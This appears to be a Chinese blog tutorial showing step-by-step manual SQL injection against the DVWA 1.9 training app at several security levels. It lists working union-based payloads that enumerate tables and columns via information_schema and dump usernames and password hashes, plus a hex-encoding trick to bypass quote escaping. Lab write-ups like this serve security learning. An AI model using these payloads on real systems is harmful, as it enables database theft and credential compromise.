1. 程式人生 > >DVWA1.9 SQL注入全等級手工注入流程

DVWA1.9 SQL注入全等級手工注入流程

最近想學習一下sql注入手工注入過,下面我將通過DVWA1.9的sql注入點進行手工注入。
手工注入的過程如下,MYSQL >5.0版的手工注入的原理主要是查詢information_schema索引庫來獲取目標資料庫的內容。

    1.判斷是否存在注入,注入是字元型還是數字型
    2.猜解SQL查詢語句中的欄位數
    3.確定顯示的欄位順序
    4.獲取當前資料庫
    5.獲取資料庫中的表
    6.獲取表中的欄位名
    7.下載資料

low

1. 判斷注入型別

1.首先在注入點出輸入1’,判斷id引數存在SQL注入漏洞。
在這裡插入圖片描述

2.輸入1 and 1=1 以及1 and 1=2 檢視結果無報錯,說明不是數字型的注入。


在這裡插入圖片描述在這裡插入圖片描述

3.輸入1’ and ‘1’ =‘2 以及1’ or ‘1’ =‘1 其中1’ or ‘1’ ='1將所有的值返回出來,由此可以判斷注入為字元型的注入。
在這裡插入圖片描述在這裡插入圖片描述

2.猜解欄位數

猜解欄位數方法可以使用order by語句進行欄位數的猜解,具體的使用方法如下:
1.在方框處輸入1′ or ‘1’='1 order by 2# 回顯成功。

在這裡插入圖片描述

2.在方框處輸入1′ or ‘1’='1 order by 3# 回顯錯誤如下圖所所示,表示目標只有兩個欄位。
在這裡插入圖片描述

3.猜解欄位順序

猜解欄位的順序使用的是聯合查詢:union select ,具體的猜解方法如下:
1.在方框處輸入1’ union select 1,2#,顯示結果如下圖所示,union select 後面的數字1,2在頁面上顯示出來了,說明sql語句查詢出來的結果在頁面上顯示的順序為First name為第一個欄位,Surname為第二個欄位。


在這裡插入圖片描述

4.獲取當前資料庫

1.在輸入框處的1’ union select 1,database()#,便可以在surname引數值處顯示資料庫的名字,如下圖,顯示的資料庫名為dvwa。
在這裡插入圖片描述

5.獲取資料庫中的表

1.在輸入框中輸入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
顯示出了兩個表,一個叫guestbook,一個叫users。

在這裡插入圖片描述

2.或者輸入1’ union select 1,table_name from information_schema.tables where table_schema=database() #,爆出的結果如下,顯示的內容為三行,由此可以確定group_concat()作用為把相同欄位的內容列印在一起。


在這裡插入圖片描述

6.獲取表中的欄位名

1.在輸入框中輸入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#,顯示出users表中有user_id,first_name,last_name,user,password,avatar,last_login,failed_login等8個欄位。
在這裡插入圖片描述

7.獲取欄位值

1.在輸入框中輸入1’ or 1=1 union select group_concat(user_id,first_name,last_name,user),group_concat(password) from users #,獲取的結果如下圖所示,最後一行的值為資料庫中的內容。
在這裡插入圖片描述

Medium

DVWA1.9 SQL 注入medium級別的環境請求方式改為了post型別,我們使用burp來進行測試。

1. 判斷注入型別

1.將id引數值改為1 or 1 = 1,輸入結果如下圖所示,爆出來了所有的使用者,由此可以判斷出注入型別為數字型注入。
在這裡插入圖片描述

2.猜解欄位數

1.將id引數值改為1 or 1 = 1 order by 2#,返回成功,如下圖。
在這裡插入圖片描述

2.將id引數值改為1 or 1 = 1 order by 3#,返回成功,如下圖,未返回任何值,說明有2個欄位。
在這裡插入圖片描述

3.猜解欄位順序

1.將id引數值修改為1 union select 1,2#,返回成功,判斷出頁面傳輸的順序:First name為第一個欄位,Surname為第二個欄位。
在這裡插入圖片描述

4.獲取當前資料庫

1.將id引數的值修改為1 union select 1,database()#,返回成功,輸出的結果可以判斷出目標資料庫的名為dvwa。
在這裡插入圖片描述

5.獲取資料庫中的表

1.將id引數的值改為1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,可以判斷出資料庫中存在兩個表,一個表為users,一個表為guestbook。
在這裡插入圖片描述

6.獲取表中的欄位名

1.將引數id的值改為1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#,返回結果為空,因為過濾了單引號(’),將’ 轉義為了’。
在這裡插入圖片描述

2.將“‘users’”進行16進位制轉義,id引數的值改為了:1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #,返回成功,獲取到了資料庫user表的欄位值。
在這裡插入圖片描述

7.獲取欄位值

1.在輸入框中輸入1’ or 1=1 union select group_concat(user_id,first_name,last_name,user),group_concat(password) from users #,獲取的結果如下圖所示,最後一行的值為資料庫中的內容。
在這裡插入圖片描述

HIGH

high級別的注入加了一個彈窗,除此之外與low級別的注入沒有什麼區別,這裡就不在過多的進行演示了。

總結

本人小白,請各位表哥批評指正。